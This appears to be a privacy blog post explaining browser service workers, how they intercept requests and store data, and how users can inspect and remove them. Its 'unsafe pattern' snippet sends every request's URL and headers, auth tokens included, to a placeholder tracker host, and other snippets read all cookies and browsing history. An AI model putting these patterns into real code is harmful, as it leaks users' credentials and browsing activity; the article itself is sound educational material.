What Are Browser Service Workers and How Do They Collect Your Data?
I opened Chrome’s Task Manager (Shift+Esc) and noticed something strange. Processes labeled “Service Worker” were running for websites I hadn’t visited in weeks. What were they doing? Why were they still active?
That discovery led me to chrome://service-workers, where I found an entire hidden world of background scripts running in my browser. Here’s what I learned about these silent workers and the data they can access.
What Is a Service Worker?
A service worker is a JavaScript file that runs in the background, separate from any web page. It acts as a programmable network proxy, sitting between your browser and the websites you visit.
Think of it this way:
+------------------+| Your Browser |+------------------+ | v+------------------+ +------------------+| Service Worker | <-- | Website/Extension || (Background JS) | | (Registered it) |+------------------+ +------------------+ | v+------------------+| Network/Web |+------------------+Once a website or browser extension registers a service worker, it persists even after you close the tab or the browser itself. It intercepts network requests, caches data, and can run periodically through background sync.
The Discovery That Concerned Me
I navigated to chrome://service-workers and saw this:
Origin: https://some-shopping-site.com Registration ID: 123 Scope: https://some-shopping-site.com/ Status: Running
Origin: chrome-extension://abc123... Registration ID: 456 Scope: chrome-extension://abc123... Status: RunningSites I visited once months ago still had active service workers. Browser extensions I installed were running background processes I never knew about.
How Service Workers Collect Data
The key privacy concern is that service workers intercept ALL network requests. They sit in the middle and can see everything passing through.
Network Request Interception
This is the primary mechanism. Every request you make passes through the service worker first:
// This runs in the service worker contextself.addEventListener('fetch', (event) => { const request = event.request;
// The worker can read: // - URL you're accessing // - HTTP method (GET, POST, etc.) // - Headers (including auth tokens) // - Request body (form data, JSON payloads)
console.log('User accessing:', request.url);
// Worker decides what to do: // - Let request proceed normally // - Return cached response instead // - Modify the request // - Block the request entirely});The scary part: the service worker can cache responses. If you log into a website, your authentication response might be cached. The service worker can access that cached token later.
Storage API Access
Service workers have access to persistent storage that survives browser sessions:
// IndexedDB - structured data storageconst dbPromise = indexedDB.open('user-data', 1);dbPromise.then(db => { // Store anything: visited URLs, preferences, form data const store = db.transaction('history', 'readwrite').objectStore('history'); store.add({ url: 'https://...', timestamp: Date.now() });});
// Cache Storage - stores request/response pairscaches.open('my-cache').then(cache => { // Cache contains copies of network responses // Including potentially sensitive data});For browser extensions, there’s also chrome.storage:
// Extension service workers use chrome.storage APIchrome.storage.local.set({ userVisitedUrls: ['url1', 'url2'] });
// This data persists across browser sessions// And can sync across devices with chrome.storage.syncBackground Sync
This feature allows service workers to run periodically, even when you’re not actively browsing:
// In service worker:self.addEventListener('periodicSync', (event) => { if (event.tag === 'daily-update') { // Runs automatically at intervals // Can upload collected data to remote server event.waitUntil(uploadCollectedData()); }});Extension APIs (For Browser Extensions)
Extension service workers have additional powerful APIs:
// Track every tab URL changechrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => { if (changeInfo.status === 'complete') { // Log every URL user visits chrome.storage.local.get(['history'], (result) => { const history = result.history || []; history.push({ url: tab.url, title: tab.title }); chrome.storage.local.set({ history }); }); }});
// Access full browsing historychrome.history.search({ text: '' }, (items) => { // items contains ALL URLs user has visited});
// Read cookies (including auth tokens)chrome.cookies.getAll({}, (cookies) => { // All cookies across all sites});The Service Worker Lifecycle
Understanding the lifecycle explains why service workers persist:
INSTALL --> ACTIVATE --> IDLE --> TERMINATE --> WAKE UP --> IDLE ... | | | ^ | | | | v v v |(pre-cache) (claim (no active (event occurs) resources) control) events)Key insight: Terminated is not the same as gone. The service worker becomes dormant when idle, but the browser wakes it up when events occur. The registration persists until explicitly unregistered.
// Installation - runs once when first registeredself.addEventListener('install', (event) => { // Pre-cache resources event.waitUntil( caches.open('static-v1').then(cache => { return cache.addAll(['/index.html', '/app.js']); }) );});
// Activation - runs when worker takes controlself.addEventListener('activate', (event) => { // Claim all clients immediately event.waitUntil(clients.claim());});
// Fetch - runs for every network requestself.addEventListener('fetch', (event) => { // Interception happens here});What Data Can They Actually Access?
Here’s the breakdown:
| API | Data Access | Privacy Risk ||--------------------|--------------------------|--------------|| Cache Storage | URLs, response bodies | HIGH || IndexedDB | Structured storage | HIGH || chrome.storage | Key-value data (ext) | HIGH || Fetch Events | ALL network requests | CRITICAL || Background Sync | Periodic upload | MEDIUM || Push API | Remote triggers | MEDIUM || Tabs API (ext) | Tab URLs, titles | CRITICAL || History API (ext) | Full browsing history | CRITICAL || Cookies API (ext) | Session cookies | CRITICAL |What they cannot access directly:
localStorageandsessionStorage(must use workarounds)- DOM elements (no direct page access)
- Synchronous operations
However, extension service workers can create “offscreen documents” to access additional APIs like geolocation.
Common Misconceptions
I had several wrong assumptions before researching this:
Misconception 1: “Service workers only cache for offline use”
Reality: They intercept ALL requests. Login requests, API calls, form submissions - everything passes through them.
Misconception 2: “Closing the tab stops the service worker”
Reality: Service workers persist across sessions. They only stop when explicitly unregistered or when you clear browser data.
Misconception 3: “I can see what they’re doing”
Reality: Service workers run in a separate context. You need DevTools or chrome://service-workers to inspect them. Most users never check.
Misconception 4: “Extensions with good reviews are safe”
Reality: Reviews don’t verify background behavior. A helpful extension can still collect data through its service worker.
How to Check Your Service Workers
Chrome Browser
- Navigate to
chrome://service-workers - See all registered workers with their origins
- Click “Unregister” to remove any worker
- Click “Focus” to see the worker’s console
[Origin] [Status] [Actions]https://site1.com Running [Update] [Unregister] [Focus]https://site2.com Stopped [Update] [Unregister] [Focus]chrome-extension://... Running [Update] [Unregister] [Focus]Chrome DevTools
- Open DevTools (F12 or Cmd+Option+I)
- Go to Application tab
- Click “Service Workers” in sidebar
- View registration status and inspect code
Chrome Task Manager
Press Shift + Esc to see active processes including service workers consuming CPU and memory.
Extension Service Workers
- Go to
chrome://extensions - Enable “Developer mode” toggle
- Click “Service worker” link under each extension
- Opens DevTools for that extension’s background process
Firefox
Navigate to about:serviceworkers to view and manage registered workers.
How to Remove Unwanted Service Workers
Method 1: Direct Unregistration
In chrome://service-workers, click “Unregister” for each unwanted worker.
Method 2: Clear Site Data
- Go to
chrome://settings/siteData - Find the origin
- Click “Clear data” to remove cached data and service worker
Method 3: Programmatic Clearing
If you’re a developer, you can unregister programmatically:
// Check all registered service workersnavigator.serviceWorker.getRegistrations().then(registrations => { console.log(`Found ${registrations.length} service workers`);
registrations.forEach(reg => { console.log('Scope:', reg.scope); // Unregister suspicious workers if (reg.scope.includes('untrusted-site.com')) { reg.unregister(); } });});
// Clear all cached datacaches.keys().then(names => { names.forEach(name => caches.delete(name));});Why This Matters
The privacy implications are significant:
- Persistent tracking - Service workers survive browser sessions
- Passive collection - Data gathered without active user action
- Network visibility - All requests pass through the worker
- Background sync - Data uploaded even when you’re away
- No visual indicator - Unlike tabs, you can’t see them running
Real-world risks:
- Cached authentication tokens accessible to malicious workers
- Form data captured from intercepted POST requests
- API keys extracted from request headers
- Behavior tracking through URL patterns
- Location data via geolocation API
Safe vs Unsafe Patterns
For developers wondering about best practices:
// SAFE: Minimal, transparent caching for public assetsself.addEventListener('fetch', (event) => { // Only cache public static files if (event.request.url.match(/\.(css|js|png|jpg)$/)) { event.respondWith( caches.match(event.request).then(cached => { return cached || fetch(event.request); }) ); } // Let all other requests pass through normally});// UNSAFE: Intercepting and logging everythingself.addEventListener('fetch', (event) => { // DANGER: Logs ALL requests including sensitive ones fetch('https://tracker.example.com/log', { method: 'POST', body: JSON.stringify({ url: event.request.url, headers: Object.fromEntries(event.request.headers) }) });
event.respondWith(fetch(event.request));});Action Steps
Based on what I learned:
- Check regularly - Visit
chrome://service-workersperiodically - Remove unknown workers - Unregister anything from sites you don’t actively use
- Monitor extensions - Review extension service workers in Developer mode
- Clear site data - After unregistering, clear cached data too
- Audit code - If you have technical skills, inspect service worker scripts
Key Takeaways
Service workers are designed for legitimate purposes like offline caching and background sync. But their network interception capabilities make them powerful data collection tools.
The most important points:
- Service workers persist indefinitely after initial registration
- They intercept ALL network requests, including sensitive ones
- Storage APIs enable long-term data persistence
- Extension service workers have additional powerful APIs
- You must manually unregister to stop them
If you can’t read the code, you can’t know what a service worker is doing. Transparency is critical, and regular auditing of your registered workers is a good privacy practice.
Final Words + More Resources
My intention with this article was to help others share my knowledge and experience. If you want to contact me, you can contact by email: Email me
Here are also the most important links from this article along with some further resources that will help you in this scope:
- 👨💻 MDN Web Docs - Service Worker API
- 👨💻 Chrome Extensions - Service Workers Documentation
- 👨💻 Chrome Extensions Privacy Guide
- 👨💻 W3C Service Workers Specification
- 👨💻 Chrome DevTools Application Tab
Oh, and if you found these resources useful, don’t forget to support me by starring the repo on GitHub!
Comments